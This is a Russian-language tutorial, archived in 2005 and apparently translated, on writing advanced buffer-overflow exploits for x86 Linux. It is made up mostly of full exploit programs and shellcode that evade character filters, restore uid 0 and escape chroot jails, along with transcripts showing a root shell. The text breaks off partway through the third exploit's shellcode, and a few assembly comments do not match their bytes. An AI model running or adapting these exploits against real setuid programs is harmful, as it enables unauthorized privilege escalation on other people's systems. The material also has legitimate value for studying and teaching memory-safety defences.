Продвинутые техники написания эксплойтов переполнения буфера

Дата публикации 13 апр 2005

Продвинутые техники написания эксплойтов переполнения буфера — Архив WASM.RU

1. Введение

В наши дни существует довольно много кодов эксплойтов переполнения буферов. Раньше же такие эксплойты только запускали шелл (т.е. /bin/sh). Однако, теперь некоторые эксплойты содержат очень интересные фичи. К примеру, они могут проламываться через фильтр, открывать сокет, врываться в 'chroot' и т д. В этой статье мы попытаемся разобраться в таких продвинутых фичах эксплойтов переполнения буфера на примере платформы intel x86 Linux.

2. Что нам необходимо знать?

Мы должны знать языки Асм, Си и операционку Линукс ('вау, экая неожиданность' прим. пер.). Конечно, мы должны иметь представление о том, что же представляет собой переполнение буфера. На этот счет можно глянуть в phrack 49-14 (статья Smashing The Stack For Fun And Profit by Aleph1). Это классная статья и я крайне рекомендую обратить на нее внимание перед тем, как приступить к изучению этой статьи.

3. Проход через фильтры

Существует множество программ с проблемами переполнения буфера. Почему же не все ошибки переполнения буферов подвергаются эксплойтингу? Потому что даже если программа и находится в состоянии возможного переполнения буфера, то это не так то и легко можно будет использовать. В большинстве случаев причина в том, что программы обрабатывают (фильтруют) некоторые символы или же конвертируют их в другие. Если программа фильтрует все непечатные символы, то ее будет сложно проэксплойтить. Если программа фильтрует только определенные символы, то мы сможем проломиться сквозь фильтры, написав умный код эксплойта переполнения буфера. :smile3:

3.1 пример уязвимой программы

Код (Text):
  1.  
  2. vulnerable1.c
  3. ----------------------------------------------------------------------------
  4. #include<string.h>
  5. #include<ctype.h>
  6.  
  7. int main(int argc,int **argv)
  8. {
  9.         char buffer[1024];
  10.         int i;
  11.         if(argc>1)
  12.         {
  13.                 for(i=0;i<strlen(argv[1]);i++)
  14.                         argv[1][i]=toupper(argv[1][i]);
  15.                 strcpy(buffer,argv[1]);
  16.         }
  17. }
  18. ---------------------------------------------------------------------------

Эта уязвимая программа конвертирует все прописные буквы, полученные при вводе, в заглавные. Таким образом, мы должны написать шеллкод, которые бы не содержал прописные буквы. Каким образом мы можем этого добиться? Мы должны сослаться на строчку символов "/bin/sh", которая должна содержать прописные буквы. Однако, мы можем подвергнуть это эксплойтингу.:smile3:

3.2 Модифицирование нормального шеллкода

Почти все эксплойты переполнения буфера содержат этот шеллкод. Сейчас мы должны удалить в нем все маленькие буквы. Конечно же, наш новый шеллкод должен запускать шелл.

нормальный шеллкод:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. char shellcode[]=
  4.         "\xeb\x1f"                      /* jmp 0x1f              */
  5.         "\x5e"                          /* popl %esi             */
  6.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  7.         "\x31\xc0"                      /* xorl %eax,%eax        */
  8.         "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  9.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  10.         "\xb0\x0b"                      /* movb $0xb,%al         */
  11.         "\x89\xf3"                      /* movl %esi,%ebx        */
  12.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  13.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  14.         "\xcd\x80"                      /* int $0x80             */
  15.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  16.         "\x89\xd8"                      /* movl %ebx,%eax        */
  17.         "\x40"                          /* inc %eax              */
  18.         "\xcd\x80"                      /* int $0x80             */
  19.         "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
  20.         "/bin/sh";                      /* .string \"/bin/sh\"   */
  21. ---------------------------------------------------------------------------

Этот шеллкод имеет 6 прописных букв. (5 букв в "/bin/sh" и 1 буква в "movl %esi,0x8(%esi)") ). Мы не можем использовать строку "/bin/sh" напрямую для обхода фильтра. Но мы можем вставлять любые символы, кроме прописных букв. Таким образом, мы можем вставить "\x2f\x12\x19\x1e\x2f\x23\x18" вместо "\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). После того, как мы переполним буфер, мы должны будем заменить "\x2f\x12\x19\x1e\x2f\x23\x18" на "\x2f\x62\x69\x6e\x2f\x73\x68", чтобы вызвать "/bin/sh". Этого легко достичь, добавив \x50 to \x62, \x69, \x6e, \x73, и \x68 после того, как наш шеллкод выполнен. Но...как мы можем спрятать \x76 в "movl %esi,0x8(%esi)" ? Мы можем заменить "movl %esi,0x8(%esi)" на другие инструкции, которые выполняют те же действия, но не содержат прописные буквы. К примеру, "movl %esi,0x8(%esi)" можно заменить на "movl %esi,%eax", "addl $0x8,%eax", "movl %eax,0x8(%esi)". Измененные инструкции имеют любые прописные буквы. (Конечно же, можно подобрать и другие подходящие инструкции, но это всего лишь пример). Новый шеллкод создан.

новый шеллкод:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. char shellcode[]=
  4.         "\xeb\x38"                      /* jmp 0x38              */
  5.         "\x5e"                          /* popl %esi             */
  6.         "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
  7.         "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
  8.         "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
  9.         "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
  10.         "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
  11.         "\x89\xf0"                      /* movl %esi,%eax        */
  12.         "\x83\xc0\x08"                  /* addl $0x8,%eax        */
  13.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  14.         "\x31\xc0"                      /* xorl %eax,%eax        */
  15.         "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  16.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  17.         "\xb0\x0b"                      /* movb $0xb,%al         */
  18.         "\x89\xf3"                      /* movl %esi,%ebx        */
  19.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  20.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  21.         "\xcd\x80"                      /* int $0x80             */
  22.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  23.         "\x89\xd8"                      /* movl %ebx,%eax        */
  24.         "\x40"                          /* inc %eax              */
  25.         "\xcd\x80"                      /* int $0x80             */
  26.         "\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
  27.         "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
  28.                                         /* /bin/sh is disguised  */
  29. ---------------------------------------------------------------------------

3.3 Эксплойтинг уязвимой программы

С этим шеллкодом мы можем легко проэксплойтить код.

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. #include<stdio.h>
  4. #include<stdlib.h>
  5.  
  6. #define ALIGN                             0
  7. #define OFFSET                            0
  8. #define RET_POSITION                   1024
  9. #define RANGE                            20
  10. #define NOP                            0x90
  11.  
  12. char shellcode[]=
  13.         "\xeb\x38"                      /* jmp 0x38              */
  14.         "\x5e"                          /* popl %esi             */
  15.         "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
  16.         "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
  17.         "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
  18.         "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
  19.         "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
  20.         "\x89\xf0"                      /* movl %esi,%eax        */
  21.         "\x83\xc0\x08"                  /* addl $0x8,%eax        */
  22.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  23.         "\x31\xc0"                      /* xorl %eax,%eax        */
  24.         "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  25.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  26.         "\xb0\x0b"                      /* movb $0xb,%al         */
  27.         "\x89\xf3"                      /* movl %esi,%ebx        */
  28.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  29.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  30.         "\xcd\x80"                      /* int $0x80             */
  31.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  32.         "\x89\xd8"                      /* movl %ebx,%eax        */
  33.         "\x40"                          /* inc %eax              */
  34.         "\xcd\x80"                      /* int $0x80             */
  35.         "\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
  36.         "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
  37.                                         /* /bin/sh is disguised  */
  38.  
  39. unsigned long get_sp(void)
  40. {
  41.         __asm__("movl %esp,%eax");
  42. }
  43.  
  44. main(int argc,char **argv)
  45. {
  46.         char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  47.         long addr;
  48.         unsigned long sp;
  49.         int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  50.         int i;
  51.  
  52.         if(argc>1)
  53.                 offset=atoi(argv[1]);
  54.  
  55.         sp=get_sp();
  56.         addr=sp-offset;
  57.  
  58.         for(i=0;i<bsize;i+=4)
  59.         {
  60.                 buff[i+ALIGN]=(addr&0x000000ff);
  61.                 buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
  62.                 buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
  63.                 buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  64.         }
  65.  
  66.         for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
  67.                 buff[i]=NOP;
  68.  
  69.         ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  70.         for(i=0;i<strlen(shellcode);i++)
  71.                 *(ptr++)=shellcode[i];
  72.  
  73.         buff[bsize-1]='\0';
  74.  
  75.         printf("Jump to 0x%08x\n",addr);
  76.  
  77.         execl("./vulnerable1","vulnerable1",buff,0);
  78. }
  79. ---------------------------------------------------------------------------

эксплойт в действии:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable1
  4. -rwsr-xr-x   1 root     root         4342 Oct 18 13:20 vulnerable1*
  5. [ ohhara@ohhara ~ ] {2} $ ls -l exploit1
  6. -rwxr-xr-x   1 ohhara   cse          6932 Oct 18 13:20 exploit1*
  7. [ ohhara@ohhara ~ ] {3} $ ./exploit1
  8. Jump to 0xbfffec64
  9. Segmentation fault
  10. [ ohhara@ohhara ~ ] {4} $ ./exploit1 500
  11. Jump to 0xbfffea70
  12. bash# whoami
  13. root
  14. bash#
  15. ---------------------------------------------------------------------------

3.4 Что мы можем сделать при помощи этой техники?

Мы можем пройти через различные фильтры у форм. Когда уязвимая программа фильтрует !@#$%^&*(), мы можем написать новый шеллкод, который не будет содержать !@#$%^&*(). Но у нас появятся сложности в создании такого шеллкода, если программа фильтрует очень много символов.

4. Смена uid на 0.

Рутовская программа setuid, которая 'знает', что работать под привилегиями рута очень опасно, обращается к seteuid(getuid()) при старте и вызывает seteuid(0), когда нуждается в этом. Многие программеры полагают, что она безопасна после обращения к seteuid(getuid()). Однако, это не так: можно выставить uid снова в 0.

4.1 Пример уязвимой программы

Код (Text):
  1.  
  2. vulnerable2.c
  3. ----------------------------------------------------------------------------
  4. #include<string.h>
  5. #include<unistd.h>
  6.  
  7. int main(int argc,char **argv)
  8. {
  9.         char buffer[1024];
  10.         seteuid(getuid());
  11.         if(argc>1)
  12.                 strcpy(buffer,argv[1]);
  13. }
  14. ---------------------------------------------------------------------------

Эта уязвимая программа сначала вызывает seteuid(getuid()). Поэтому мы можем решить, что с "strcpy(buffer,argv[1]);" все в порядке. Т.к. мы можем получить только свой шелл, то мы можем не переживать по поводу атак переполнения буфера. Но не смотря на это если мы вставим код с вызовом setuid(0) в шеллкод, мы сможем получить шелл рута. :smile3:

4.2 Пишем setuid(0) код

Код (Text):
  1.  
  2. setuidasm.c
  3. ----------------------------------------------------------------------------
  4. main()
  5. {
  6.         setuid(0);
  7. }
  8. ---------------------------------------------------------------------------

компилируем и дизассемблируем:

Код (Text):
  1.  
  2. ----------------------------------------------------------------------------
  3. [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
  4. [ ohhara@ohhara ~ ] {2} $ gdb setuidasm
  5. GNU gdb 4.17
  6. Copyright 1998 Free Software Foundation, Inc.
  7. GDB is free software, covered by the GNU General Public License, and you are
  8. welcome to change it and/or distribute copies of it under certain conditions.
  9. Type "show copying" to see the conditions.
  10. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  11. This GDB was configured as "i386-redhat-linux"...
  12. (gdb) disassemble setuid
  13. Dump of assembler code for function __setuid:
  14. 0x804ca00 <__setuid>:   movl   %ebx,%edx
  15. 0x804ca02 <__setuid+2>: movl   0x4(%esp,1),%ebx
  16. 0x804ca06 <__setuid+6>: movl   $0x17,%eax
  17. 0x804ca0b <__setuid+11>:        int    $0x80
  18. 0x804ca0d <__setuid+13>:        movl   %edx,%ebx
  19. 0x804ca0f <__setuid+15>:        cmpl   $0xfffff001,%eax
  20. 0x804ca14 <__setuid+20>:        jae    0x804cc10 <__syscall_error>
  21. 0x804ca1a <__setuid+26>:        ret    
  22. 0x804ca1b <__setuid+27>:        nop    
  23. 0x804ca1c <__setuid+28>:        nop    
  24. 0x804ca1d <__setuid+29>:        nop    
  25. 0x804ca1e <__setuid+30>:        nop    
  26. 0x804ca1f <__setuid+31>:        nop    
  27. End of assembler dump.
  28. (gdb)
  29. ----------------------------------------------------------------------------
  30.  
  31. setuid(0); code
  32. ----------------------------------------------------------------------------
  33. char code[]=
  34.         "\x31\xc0"                      /* xorl %eax,%eax        */
  35.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  36.         "\xb0\x17"                      /* movb $0x17,%al        */
  37.         "\xcd\x80";                     /* int $0x80             */
  38. ---------------------------------------------------------------------------

4.3 Изменяем нормальный шеллкод:

Написание нового шеллкода теперь будет легким, потому что у нас уже есть setuid(0) код. Просто вставим код в начало нормального шеллкода.

новый шеллкод:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. char shellcode[]=
  4.         "\x31\xc0"                      /* xorl %eax,%eax        */
  5.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  6.         "\xb0\x17"                      /* movb $0x17,%al        */
  7.         "\xcd\x80"                      /* int $0x80             */
  8.         "\xeb\x1f"                      /* jmp 0x1f              */
  9.         "\x5e"                          /* popl %esi             */
  10.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  11.         "\x31\xc0"                      /* xorl %eax,%eax        */
  12.         "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  13.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  14.         "\xb0\x0b"                      /* movb $0xb,%al         */
  15.         "\x89\xf3"                      /* movl %esi,%ebx        */
  16.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  17.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  18.         "\xcd\x80"                      /* int $0x80             */
  19.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  20.         "\x89\xd8"                      /* movl %ebx,%eax        */
  21.         "\x40"                          /* inc %eax              */
  22.         "\xcd\x80"                      /* int $0x80             */
  23.         "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
  24.         "/bin/sh";                      /* .string \"/bin/sh\"   */
  25. ---------------------------------------------------------------------------

4.4 Эксплойтинг следующей программы

С этим шеллкодом мы можем очень легко написать код эксплойта:

Код (Text):
  1.  
  2. exploit2.c
  3. ---------------------------------------------------------------------------
  4. #include<stdio.h>
  5. #include<stdlib.h>
  6.  
  7. #define ALIGN                             0
  8. #define OFFSET                            0
  9. #define RET_POSITION                   1024
  10. #define RANGE                            20
  11. #define NOP                            0x90
  12.  
  13. char shellcode[]=
  14.         "\x31\xc0"                      /* xorl %eax,%eax        */
  15.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  16.         "\xb0\x17"                      /* movb $0x17,%al        */
  17.         "\xcd\x80"                      /* int $0x80             */
  18.         "\xeb\x1f"                      /* jmp 0x1f              */
  19.         "\x5e"                          /* popl %esi             */
  20.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  21.         "\x31\xc0"                      /* xorl %eax,%eax        */
  22.         "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  23.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  24.         "\xb0\x0b"                      /* movb $0xb,%al         */
  25.         "\x89\xf3"                      /* movl %esi,%ebx        */
  26.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  27.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  28.         "\xcd\x80"                      /* int $0x80             */
  29.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  30.         "\x89\xd8"                      /* movl %ebx,%eax        */
  31.         "\x40"                          /* inc %eax              */
  32.         "\xcd\x80"                      /* int $0x80             */
  33.         "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
  34.         "/bin/sh";                      /* .string \"/bin/sh\"   */
  35.  
  36. unsigned long get_sp(void)
  37. {
  38.         __asm__("movl %esp,%eax");
  39. }
  40.  
  41. void main(int argc,char **argv)
  42. {
  43.         char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  44.         long addr;
  45.         unsigned long sp;
  46.         int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  47.         int i;
  48.  
  49.         if(argc>1)
  50.                 offset=atoi(argv[1]);
  51.  
  52.         sp=get_sp();
  53.         addr=sp-offset;
  54.  
  55.         for(i=0;i<bsize;i+=4)
  56.         {
  57.                 buff[i+ALIGN]=(addr&0x000000ff);
  58.                 buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
  59.                 buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
  60.                 buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  61.         }
  62.  
  63.         for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
  64.                 buff[i]=NOP;
  65.  
  66.         ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  67.         for(i=0;i<strlen(shellcode);i++)
  68.                 *(ptr++)=shellcode[i];
  69.  
  70.         buff[bsize-1]='\0';
  71.  
  72.         printf("Jump to 0x%08x\n",addr);
  73.  
  74.         execl("./vulnerable2","vulnerable2",buff,0);
  75. }
  76. ---------------------------------------------------------------------------
  77. <p>
  78. эксплойт в действии:
  79. <p>
  80. ----------------------------------------------------------------------------
  81. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable2
  82. -rwsr-xr-x   1 root     root         4258 Oct 18 14:16 vulnerable2*
  83. [ ohhara@ohhara ~ ] {2} $ ls -l exploit2
  84. -rwxr-xr-x   1 ohhara   cse          6932 Oct 18 14:26 exploit2*
  85. [ ohhara@ohhara ~ ] {3} $ ./exploit2
  86. Jump to 0xbfffec64
  87. Illegal instruction
  88. [ ohhara@ohhara ~ ] {4} $ ./exploit2 500
  89. Jump to 0xbfffea70
  90. bash# whoami
  91. root
  92. bash#
  93. ---------------------------------------------------------------------------

4.5 Что мы сможем достичь с помощью этой техники?

Мы атакуем рутовую программу setuid с переполнением буфера, но получаем только свой собственный шелл. В этой ситуации можно поюзать эту технику.

5. Обходим chroot.

Если setuid заchroot-ена, то мы можем получить доступ только к заchroot-енной директории. Мы не можем получить рутовскую директорию. Однако, мы можем пробраться во все директории, если наш шеллкод опять изменит рутовскую директорию на '/'. :smile3:

5.1 Пример уязвимой программы:

Код (Text):
  1.  
  2. vulnerable3.c
  3. ----------------------------------------------------------------------------
  4. #include&lt;string.h&gt;
  5. #include&lt;unistd.h&gt;
  6.  
  7. int main(int argc,char **argv)
  8. {
  9.         char buffer[1024];
  10.         chroot("/home/ftp");
  11.         chdir("/");
  12.         if(argc&gt;1)
  13.                 strcpy(buffer,argv[1]);
  14. }
  15. ---------------------------------------------------------------------------

Если попытаться запустить "/bin/sh" с переполнением буфера, он может запустить "/home/ftp/bin/sh" (если последний существует) и мы не сможем получить доступ к другим директориям кроме "/home/ftp".

5.2 Пишем код обхода chroot-а

Если мы можем запустить ниженаписанный код, то мы сможем обойти chroot.

Код (Text):
  1.  
  2. breakchrootasm.c
  3. ---------------------------------------------------------------------------
  4. main()
  5. {
  6.         mkdir("sh",0755);
  7.         chroot("sh");
  8.         /* many "../" */
  9.         chroot("../../../../../../../../../../../../../../../../");
  10. }
  11. ---------------------------------------------------------------------------

Этот код создает директорию 'sh', т.к. к ней легко обратиться. Также он пытается запустить "/bin/sh".

откомпилируем и продизассемблируем:

Код (Text):
  1.  
  2. ----------------------------------------------------------------------------
  3. [ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
  4. [ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm
  5. GNU gdb 4.17
  6. Copyright 1998 Free Software Foundation, Inc.
  7. GDB is free software, covered by the GNU General Public License, and you are
  8. welcome to change it and/or distribute copies of it under certain conditions.
  9. Type "show copying" to see the conditions.
  10. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  11. This GDB was configured as "i386-redhat-linux"...
  12. (gdb) disassemble mkdir
  13. Dump of assembler code for function __mkdir:
  14. 0x804cac0 &lt;__mkdir&gt;:    movl   %ebx,%edx
  15. 0x804cac2 &lt;__mkdir+2&gt;:  movl   0x8(%esp,1),%ecx
  16. 0x804cac6 &lt;__mkdir+6&gt;:  movl   0x4(%esp,1),%ebx
  17. 0x804caca &lt;__mkdir+10&gt;: movl   $0x27,%eax
  18. 0x804cacf &lt;__mkdir+15&gt;: int    $0x80
  19. 0x804cad1 &lt;__mkdir+17&gt;: movl   %edx,%ebx
  20. 0x804cad3 &lt;__mkdir+19&gt;: cmpl   $0xfffff001,%eax
  21. 0x804cad8 &lt;__mkdir+24&gt;: jae    0x804cc40 &lt;__syscall_error&gt;
  22. 0x804cade &lt;__mkdir+30&gt;: ret    
  23. 0x804cadf &lt;__mkdir+31&gt;: nop    
  24. End of assembler dump.
  25. (gdb) disassemble chroot
  26. Dump of assembler code for function chroot:
  27. 0x804cb60 &lt;chroot&gt;:     movl   %ebx,%edx
  28. 0x804cb62 &lt;chroot+2&gt;:   movl   0x4(%esp,1),%ebx
  29. 0x804cb66 &lt;chroot+6&gt;:   movl   $0x3d,%eax
  30. 0x804cb6b &lt;chroot+11&gt;:  int    $0x80
  31. 0x804cb6d &lt;chroot+13&gt;:  movl   %edx,%ebx
  32. 0x804cb6f &lt;chroot+15&gt;:  cmpl   $0xfffff001,%eax
  33. 0x804cb74 &lt;chroot+20&gt;:  jae    0x804cc40 &lt;__syscall_error&gt;
  34. 0x804cb7a &lt;chroot+26&gt;:  ret    
  35. 0x804cb7b &lt;chroot+27&gt;:  nop    
  36. 0x804cb7c &lt;chroot+28&gt;:  nop    
  37. 0x804cb7d &lt;chroot+29&gt;:  nop    
  38. 0x804cb7e &lt;chroot+30&gt;:  nop    
  39. 0x804cb7f &lt;chroot+31&gt;:  nop    
  40. End of assembler dump.
  41. (gdb)
  42. ----------------------------------------------------------------------------
  43.  
  44. mkdir("sh",0755); code
  45. ----------------------------------------------------------------------------
  46.         /* mkdir first argument is %ebx and second argument is   */
  47.         /* %ecx.                                                 */
  48. char code[]=
  49.         "\x31\xc0"                      /* xorl %eax,%eax        */
  50.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  51.         "\xb0\x17"                      /* movb $0x27,%al        */
  52.         "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  53.         /* %esi has to reference "/bin/sh" before using this     */
  54.         /* instruction. This instruction load address of "sh"    */
  55.         /* and store at %ebx                                     */
  56.         "\xfe\xc5"                      /* incb %ch              */
  57.         /* %cx = 0000 0001 0000 0000                             */
  58.         "\xb0\x3d"                      /* movb $0xed,%cl        */
  59.         /* %cx = 0000 0001 1110 1101                             */
  60.         /* %cx = 000 111 101 101                                 */
  61.         /* %cx = 0   7   5   5                                   */
  62.         "\xcd\x80";                     /* int $0x80             */
  63. ----------------------------------------------------------------------------
  64.  
  65. chroot("sh"); code
  66. ----------------------------------------------------------------------------
  67.         /* chroot first argument is ebx */
  68. char code[]=
  69.         "\x31\xc0"                      /* xorl %eax,%eax        */
  70.         "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  71.         "\xb0\x3d"                      /* movb $0x3d,%al        */
  72.         "\xcd\x80";                     /* int $0x80             */
  73. ----------------------------------------------------------------------------
  74.  
  75. chroot("../../../../../../../../../../../../../../../../"); code
  76. ----------------------------------------------------------------------------
  77. char code[]=
  78.         "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
  79.         /* disguised "../" character string                      */
  80.         "\xf7\xdb"                      /* negl %ebx             */
  81.         /* %ebx = $0x002f2e2e                                    */
  82.         /* intel x86 is little endian.                           */
  83.         /* %ebx = "../"                                          */
  84.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  85.         "\xb1\x10"                      /* movb $0x10,%cl        */
  86.         /* prepare for looping 16 times.                         */
  87.         "\x56"                          /* pushl %esi            */
  88.         /* backup current %esi. %esi has the pointer of          */
  89.         /* "/bin/sh".                                            */
  90.         "\x01\xce"                      /* addl %ecx,%esi        */
  91.         "\x89\x1e"                      /* movl %ebx,(%esi)      */
  92.         "\x83\xc6\x03"                  /* addl $0x3,%esi        */
  93.         "\xe0\xf9"                      /* loopne -0x7           */
  94.         /* make "../../../../ . . . " character string at        */
  95.         /* 0x10(%esi) by looping.                                */
  96.         "\x5e"                          /* popl %esi             */
  97.         /* restore %esi.                                         */
  98.         "\xb0\x3d"                      /* movb $0x3d,%al        */
  99.         "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
  100.         /* %ebx has the address of "../../../../ . . . ".        */
  101.         "\xcd\x80";                     /* int $0x80             */
  102. ---------------------------------------------------------------------------

5.3 Изменяем нормальный шеллкод:

Вставим код в начало нормального шеллкода и изменим jmp и call.

новый шеллкод:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. char shellcode[]=
  4.         "\xeb\x4f"                      /* jmp 0x4f              */
  5.         "\x31\xc0"                      /* xorl %eax,%eax        */
  6.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  7.         "\x5e"                          /* popl %esi             */
  8.         "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  9.         "\xb0\x27"                      /* movb $0x27,%al        */
  10.         "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  11.         "\xfe\xc5"                      /* incb %ch              */
  12.         "\xb1\xed"                      /* movb $0xed,%cl        */
  13.         "\xcd\x80"                      /* int $0x80             */
  14.         "\x31\xc0"                      /* xorl %eax,%eax        */
  15.         "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  16.         "\xb0\x3d"                      /* movb $0x3d,%al        */
  17.         "\xcd\x80"                      /* int $0x80             */
  18.         "\x31\xc0"                      /* xorl %eax,%eax        */
  19.         "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
  20.         "\xf7\xdb"                      /* negl %ebx             */
  21.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  22.         "\xb1\x10"                      /* movb $0x10,%cl        */
  23.         "\x56"                          /* pushl %esi            */
  24.         "\x01\xce"                      /* addl %ecx,%esi        */
  25.         "\x89\x1e"                      /* movl %ebx,(%esi)      */
  26.         "\x83\xc6\x03"                  /* addl %0x3,%esi        */
  27.         "\xe0\xf9"                      /* loopne -0x7           */
  28.         "\x5e"                          /* popl %esi             */
  29.         "\xb0\x3d"                      /* movb $0x3d,%al        */
  30.         "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
  31.         "\xcd\x80"                      /* int $0x80             */
  32.         "\x31\xc0"                      /* xorl %eax,%eax        */
  33.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  34.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  35.         "\xb0\x0b"                      /* movb $0xb,%al         */
  36.         "\x89\xf3"                      /* movl %esi,%ebx        */
  37.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  38.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  39.         "\xcd\x80"                      /* int $0x80             */
  40.         "\xe8\xac\xff\xff\xff"          /* call -0x54            */
  41.         "/bin/sh";                      /* .string \"/bin/sh\"   */
  42. ---------------------------------------------------------------------------
5.4 Эксплойт программы vulnerable3 за работой:

Код (Text):
  1.  
  2. exploit3.c
  3. ----------------------------------------------------------------------------
  4. #include&lt;stdio.h&gt;
  5. #include&lt;stdlib.h&gt;
  6.  
  7. #define ALIGN                             0
  8. #define OFFSET                            0
  9. #define RET_POSITION                   1024
  10. #define RANGE                            20
  11. #define NOP                            0x90
  12.  
  13. char shellcode[]=
  14.         "\xeb\x4f"                      /* jmp 0x4f              */
  15.         "\x31\xc0"                      /* xorl %eax,%eax        */
  16.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  17.         "\x5e"                          /* popl %esi             */
  18.         "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  19.         "\xb0\x27"                      /* movb $0x27,%al        */
  20.         "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  21.         "\xfe\xc5"                      /* incb %ch              */
  22.         "\xb1\xed"                      /* movb $0xed,%cl        */
  23.         "\xcd\x80"                      /* int $0x80             */
  24.         "\x31\xc0"                      /* xorl %eax,%eax        */
  25.         "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  26.         "\xb0\x3d"                      /* movb $0x3d,%al        */
  27.         "\xcd\x80"                      /* int $0x80             */
  28.         "\x31\xc0"                      /* xorl %eax,%eax        */
  29.         "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
  30.         "\xf7\xdb"                      /* negl %ebx             */
